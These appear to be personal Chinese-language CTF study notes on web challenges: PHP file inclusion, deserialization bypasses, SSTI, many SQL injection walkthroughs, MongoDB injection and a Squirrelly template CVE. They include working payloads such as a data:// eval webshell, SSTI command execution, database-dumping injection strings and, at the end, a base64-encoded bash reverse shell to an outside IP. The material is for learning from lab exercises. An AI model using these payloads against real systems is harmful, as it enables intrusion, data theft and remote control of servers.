分类练习
文件包含
Web_php_include/1
代码审计:
include($page),使用了include这个文件包含函数,被include包含的$page通过get方式传入且可控。所以存在文件包含漏洞。但在判断在中通过strstr过滤了“php://”(当传入page时存在php://时候替换为空{即$page=str_replace(“php://”,“”,$page;)})
尝试用大小写,报错确定是linux系统
用BP抓包发送<php system(“ls”)?>
得到xxxxxxxxxxxxxxxxx
再次发送
得到flag
Web_php_include/2
利用data写入一句话木马
http://61.147.171.105:60509/?page=data://text/plain,<?php @eval($_POST['AHHH'])?>
利用蚁剑连接
fileclude
知识点
-
inlcude语句包含并运行指定文件。被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照include_path指定的目录寻找。如果在include_path下没找到该文件则include最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include结构会发出一条警告。
-
empty()判断一个变量是否为空。当一个变量并不存在,或者他的值等同于FALSE,那么它会被认为不存在。如果变量不存在的话,empty并不会产生警告。当变量存在,并且是一个非空非零的值时返回FALSE否则返回TRUE。
-
isset()函数用于检测变量是否已设置并且非NULL。
-
file_get_contents()待读取文件的路径作为参数发送给函数,并且返回成功时读取的数据,失败时返回FALSE.
-
php://filter可以进行任意文件的读取,并进行base64编码输出,利用这种方法可以获得加密的网页源码
用法:
1
?name=php://filter/read=convert.base64-encode/resource=xx.php
data://可以将内容写入file变量中,通常用来执行PHP代码
用法:
1
?name=data://text/plain,<?php eval($_POST['cmd']);?>
-
php://input 可以访问请求的原始数据的只读流,可以读取没有处理过的POST数据。
用法:
1
2?name=php://input
[POST data]:xxxxxxxx
代码审计
file1被放入include函数中,
可以用php伪协议绕过
file2被放入file_get_contents函数中可以用data伪协议(题解上说还可以用php://input)
1 | ?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf |
变量1
告诉我们flag是一直在变的
代码审计
正则表达式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成
^\w+$表示的是匹配都是字母的串
$$args是一个可变变量,如果$args的值为另一个变量名$$args就可以代表另一个变量,
所以可以依次考虑给args赋值php中的九大全局变量,看看能不能把flag爆出来
1 | $_POST,$_GET,$_FILES,$_COOKIE,$_SESSION,$_REQUEST,$_SERVER,$GLOBALS,$_ENV) |
结果证明GLOBALS(会以字典类型返回当前位置的全部变量)可以
反序列化
Web_php_unserialize/1
1 |
|
知识点
1.反序列化漏洞?
php中提供两个函数可将任意类型数据转换成string类型,或逆过程。
Serizlaze
Unserialize
当unserialize的参数被用户控制时,就会形成反序列化漏洞
2.魔术函数
magic函数通常以“_”开头
_construct
_destruct
_toString
_sleep
_wakeup
__sleep当对对象序列化时调用(如果存在的话),常用于提交未提交的数据
__wakeup当对对象反序列化时调用(如果存在的话),常用于重新建立数据库连接,或执行其他初始化操作
代码审计
- 类Demo中struct(),destruct()函数分别在代码执行开始和结束时调用。而wakeup函数会在代码执行过程中自动调用。
- 传入的参数还要被preg_math()函数过滤。
- 在PHP<5.6.25,PHP&<7.0.10的版本存在wakeup的漏洞。当反序列化中object(对象)的个数和之前的个数不等时,wakeup就会被绕过。
- flag在fl4g.php文件中,想要显示该文件需要绕过
解题
-
我们构造脚本把字符串 fl4g.php 序列化后层层伪装,在进行base64加密(因为源代码中有base64解密)字符串**" fl4g.php “** 序列化后为“O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”
-
preg_match(‘/[oc]:\d+:/i’;$var)
—preg_match正则函数
—\d整型数
—i 区分大小写
函数想要过滤“O:4”我们就伪装成“O:+4”即$C=str_replace(‘O:4’,'O:+4,$C;)//绕过preg_match
-
funtion_wakeup()
{
if ($this->file != ‘index.php’)
{
//the secret is in the fl4g.php
$this->file = ‘index.php’;
}
当反序列化后的对象个数大于原来的个数时wakeup函数就会被绕过,所以我们可以把对象个数写成2个
$C=str_replace(‘:1’,‘:2’,$C);/绕过wakeup/
注意:
$file 是私有成员序列化之后字符串首尾会多出两个空格 “%00*%00”,所以base64加密最好在代码中执行防止复制漏掉
所以“O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}"
这里是s:10:而不是s:8:
00x3.Get Flag
输出运行结果:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
传参var
首先?kint=1&1=passthru&2=cat /flag.txt
构造序列化字符串
1 |
|
1 | $a = array('张三','李四','王五'); |
1 | flag{Th1s_Is_s000_e4sy_d0_y00u_th1nk_so?} |
[SWPUCTF 2018]SimplePHP
upload_file.php作用:上传文件并经function.php判断。
1 | index.php |
1 | file.php |
function.php的作用主要是判断文件是否存在,并过滤一些字符串,给文件重命名,然后移动到upload目录下,且我们是可以进入upload下的。
1 | function.php |
1 |
|
最终(大佬)确定的pop链
1 | C1e4r::__destrucr->Show::__toString->Test::file_get() |
1 | <?php |
SSTI
1 | ip注入 |
[WesternCTF2018]shrine
题目
1 | import flask |
1 | /shrine/{{url_for.__globals__['current_app'].config}} |
/shrine/
添加到 URL 末尾作为查询参数
url_for
[BJDCTF2020]Cookie is so stable
twig
payload
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}} |
Simple_SSTI_2
让我们上传一个名为flag的参数
先试一下php伪协议
试试data伪协议
方法不被允许
只能上网搜索了
找到了
1 | payload:/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}} |
game1
看到是小游戏想到应该是要修改分数,先玩一局试试
在元素中找到对应分数修改试试,
修改试试
好像没有用。有没有用搜一下flag或者base就知道了
没有flag但是发现分数好像有base编码
最后用BP试试,先开BP,玩一局游戏,然后BP可以拦截到发送包
主要看第一行
直接修改分数试试
不行,之前我们知道他有base编码,看看sign是什么
没解码出来或许加了东西
与50的base编码对比发现
sign=zM+分数+==
修改得到flag
命令执行
easy_eval
查看根目录
发现可疑文件f1agaaa,
easyphp
1 |
|
代码审计
首先要绕过两个if语句判断,让 $key1 = 1
1 | '8b184b'a可以用科学计数法?a=1e9=1000000000 ,大于6000000并且字符长度小于3 |
然后要让c是数组,m不是数字或数字字符串 且m>2022
1 | 可以让c={m:"2222vw50"} |
然后要让c=[“n”]是一个有两**个单元的数组,还要让$c[“n”][0])是数组
1 | c={m:"2222vw5","n":[[3],0]}//这个可以 |
绕过array_search
//array_search函数可以在数组内寻找某个键值,如果找到就返回键名,未找到就返回false。
1 |
foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:
1 | foreach (array_expression as $value) |
第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。
第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量 $key。
最后还要用url编码
fileinclude
Connection: close在它下面修改貌似不行
SQL
最简单的SQL注入
输入万能密码
1 | 'or'1'='1 |
不会啦,/抓包试试大佬的万能密码
1 | '+or+1=1# |
为什么是在用户名输呢?
因为都一样哈哈
给自己的万能密码升级~~~
1 | 'or'1'=1# |
查询列数(“+”在页面输入的时候要换成空格)
1 | username=admin'+or+1=1+order+by+1,2,3#&password=123 |
1 | admin%27+or+1%3D1+order+by+3/*1,2,3,4,5,*/# |
查询到第2列有回显,接下来查询数据库名
1 | username=admin'+or+1=1+union+select+1,database(),3#&password= |
查询数据库内数据表
1 | username=admin'+or+1=1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema="web2"#&password=123 |
爆字段
小知识:concat
意为连接
information_schema
方案名)(或者表名?)
1 | username=admin'or+1=1+union+select+1,group_concat(column_name), |
爆值
1 | username='+or+1=1+union+select+1,flag,3+from+flag# |
(3条消息) ctf.show web2 最简单的SQL注入_0d@y的博客-CSDN博客_ctf.show_web2
(3条消息) SQL注入之联合查询注入_selecthch的博客-CSDN博客_sql注入查询所有数据库名
暴库
1 | unino select 1,2,n,database()# 这里要看有多少字段 |
爆表
1 | union select 1,2,n,group_concat(table_name) from information_schema.columns where table_name="表名" |
爆字段
1 | unino select 1,2,n,group_concat(column_name) from information_schema.columns where table_name="表名" |
爆值
1 | union select 1,2,n,字段 from 表名;# |
在web6中还过滤了空格参考
1 | /**/ |
web7
发现可以get传参,试了好多最后看WP发现是SQL注入。。。。并且过滤空格
首先判断注入点,输入以下payload,使SQL恒成立
1 | 1/**/and/**/1 |
页面正常显示
再注入,使其恒不成立
1 | 1/**/and/**/0 |
由此可以判断存在SQL注入,注入点位数值注入,页面中有显示为,可以尝试
联合注入进行脱库
先来判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置
1 | ?id=-1/**/union/**/select/**/1,2,3 |
1 | -1/**/union/**/select/**/1,database(),3 |
文件名是web7
1 | -1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web7" |
接下来获取当前数据库中的所有表
1 | id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name="flag" |
有一个flag表
1 | id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag |
有一个flag表,那flag肯定就藏在这个表里面
奇怪的输出
1 | -1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema="web7" |
1 | -1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web7" |
web8
先确定注入点
,输入,是其恒成立
1 | -1/**/or/**/true |
然后输入
1 | -1/**/or/**/false |
因为SQL恒不成立所以不返回
buuoj 第一章 web入门]SQL注入-1
观察
发现上面有注入点
判断
输入1 and 1
1 and 0 页面不改变(最好带上注释符,尝试不然要浪费时间)
id=1’ and 1 = 1–+
id=1’ and 1 = 2–+
页面第二个出现逻辑报错
所以为字符型注入
原来这也是报错,。。。。
判断字段数
1 | 经过注入发现2,3位置有回显 |
暴库
1 | -1' union select 1,group_concat(schema_name),3 from (information_schema.schemata)--+ |
得到当前所有数据库名
可以看出当前数据库为note
1 | -1'union select 1,database(),3--+ |
爆表
1 | -1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="note"--+ |
得到当前数据库的表,fl4gnote
爆列
1 | -1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name="fl4g"--+ |
得到fl4g表的列名:fllllag
爆值
1 | -1'union select 1,group_concat(fllllag),3 from fl4g--+ |
SQL2
快12点了,废话不多说
1 | -1' union select 1,group_concat(schema_name),3 from (information_schema.schemata)--+ |
还挺可爱???
1 | 1'+and+updatexml(1,concat('^',(sElect+table_name+from+information_schema.tables+where+table_schema='note'),'^'),1)--+ |
发现 回显:子查询返回 1 行以上
我们可以加上 limit 0,1 查询第一行
老办法
随便注
先用万能密码
在用unino
发现select被过滤
去百度寻找新大陆
1 | `1';show databases;# |
查出所有数据库
看表名
1919810931114514里面没东西
看words
varchar中有20字节应该是flag,怎么把他取出来呢
我们看大佬的描述
1 |
|
意思就是要将
1 | 1';rename table words to word1;rename table `1919810931114514` to `words`;alter table `words` add `id` int unsigned not Null auto_increment primary key; alert table `words` change `flag` `data` `varchar(100)`;# |
22.34
懂了
从这里可以猜 ‘or’1’='1 进入的界面为
words表里的id字段的值
后面不再写了,还是写吧。。。
做出来啦,好耶~
payload奉上:
1 | 1';RENAME TABLE words to `1`;RENAME TABLE `1919810931114514` to words;ALTER TABLE words CHANGE flag id varchar(100);# |
[SUCTF 2019]EasySQL(后端代码ti)
提交个1看看
眼熟。。。
用堆叠注入
寄,发现是数值注入
暴库
爆表
只有一个表???
加上注释符试试
最后发现from flag d都被过滤
PRAPARE也被过滤
貌似只能用RENAME
可是推不出来flag在哪里 回显的又是哪个。。。。
[SWPUCTF 2021 新生赛]sql
进去一看,鼠鼠只能说 who jb you
F12找到
传参
1,正常回显
1’ 报错,确定为字符串
1 |
|
回显位 2. 3
1 | http://1.14.71.254:28596/?wllm=0'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/having'1'like'1 |
暴库
1 | http://1.14.71.254:28596/?wllm=0'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/having'1'like'1 |
爆表
这个题告诉我们不要依赖mysql
暴表, 5555…被限制20字符只显示了一半
1 | 0'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/having'1'like'1 |
1 | 这样才有后面一段 |
1 | 这样查完整的 |
暴列
1 | http://1.14.71.254:28596/?wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"LTLT_flag"/**/having'1'like'1 |
1 | http://1.14.71.254:28596/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/LTLT_flag/**/having'1'like'1 |
1 | http://1.14.71.254:28596/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/LTLT_flag/**/having'1'like'1 |
NSSCTF-babysql
先试一下万能密码
1 |
接着试一下联合查询
过滤了注释符,空格,if,and,对大小写敏感
找不到显示位,放弃了,可能是布尔盲注。
对闭合不是很了解,试了好久
1 | username=0'or/**/length(database())>1/**/having'1'='1 |
数据库长度为4,同时说明布尔盲注可行
1 | # 开发时间:2022/10/30 10:59 |
[CISCN2019 华北赛区 Day2 Web1]Hack World
考点
括号绕过空格
异或加布尔盲注
1 | sql = "1^(ascii(mid((select(flag)from(flag)),{},1))>{})^1".format(i, mid) |
上学期结束
DASCTF-EzNode2
涉及知识点
- Mongodb注入
- CVE-2021-32819
- CVE-2020-7699
0x01 mongodb注入
参考文章:Nosql 注入从零到一
MongoDB 基础概念解析
不管我们学习什么数据库都应该学习其中的基础概念,在 MongoDB 中基本的概念有文档、集合、数据库,如下表所示:
SQL 概念 | MongoDB 概念 | 说明 |
---|---|---|
database | database | 数据库 |
table | collection | 数据库表/集合 |
row | document | 数据记录行/文档 |
column | field | 数据字段/域 |
index | index | 索引 |
table joins | 表连接,MongoDB 不支持 | |
primary key | primary key | 主键,MongoDB 自动将 _id 字段设置为主键 |
下表列出了关系型数据库 RDBMS 与 MongoDB 之间对应的术语:
RDBMS | MongoDB |
---|---|
数据库 | 数据库 |
表格 | 集合 |
行 | 文档 |
列 | 字段 |
表联合 | 嵌入文档 |
主键 | 主键(MongoDB 提供了 key 为 _id) |
MongoDB 创建数据库的语法格式如下:
1 | use DATABASE_NAME |
如果数据库不存在,则创建数据库,
MongoDB 创建集合
MongoDB中我们使用creatCollecion()
方法来创建集合.
1 | db.createCollection(name, options) |
- name:要创建的集合名称
- options:可选参数,指定有关内存大小及索引的选项
MongoDB 插入文档
在MongoDB 中我们使用insert()
方法项集合中插入文档,语法如下:
1 | db.COLLECTION_NAME.insert(document) |
0x02CVE-2021-32819
红圈中两个变量都是本地的配置变量,但是却可以通过url中的参数来覆盖这两个变量的值,比如url参数:“/?autoEscape=&defaultFilter=b”可以使env.autoEscape的值变为"",使env.defaultFilter的值变为“b”。在不做任何特殊配置的情况下env.autoEscape的值为:“true”,env.defaultFilter的值为:“false”,因此上述代码运行完成后returnStr的值大致如下:“tR+=‘’;tR+=c.l(‘F’,‘e’)(it.Express);tR+=‘’;”。
所利用的就是将env.defaultFilter的值进行覆盖,完成恶意命令执行
方法一
没有过滤掉regexp
只是判断一下长度就进去了
1 | post data |
然后是文件上传
登录后可以传文件这里使用了 squirrelly 模板该模板有个CVE , CVE-2021-32819参考
https://github.com/advisories/GHSA-q8j6-pwqx-pm96
这里文件名是可控的本地测试下尝试使用网上的payload
1 | filename="aaa\",\"autoEscape\":\"\",\"defaultFilter\":\"e');global.process.mainModule.require('child_process').exec('echo YmFzaCAtaSAmPi9kZXYvdGNwLzEyMC41NS4xMDMuMTMyLzY2NjYgMD4mMQ==|base64 -d|bash');c.l('F','e" |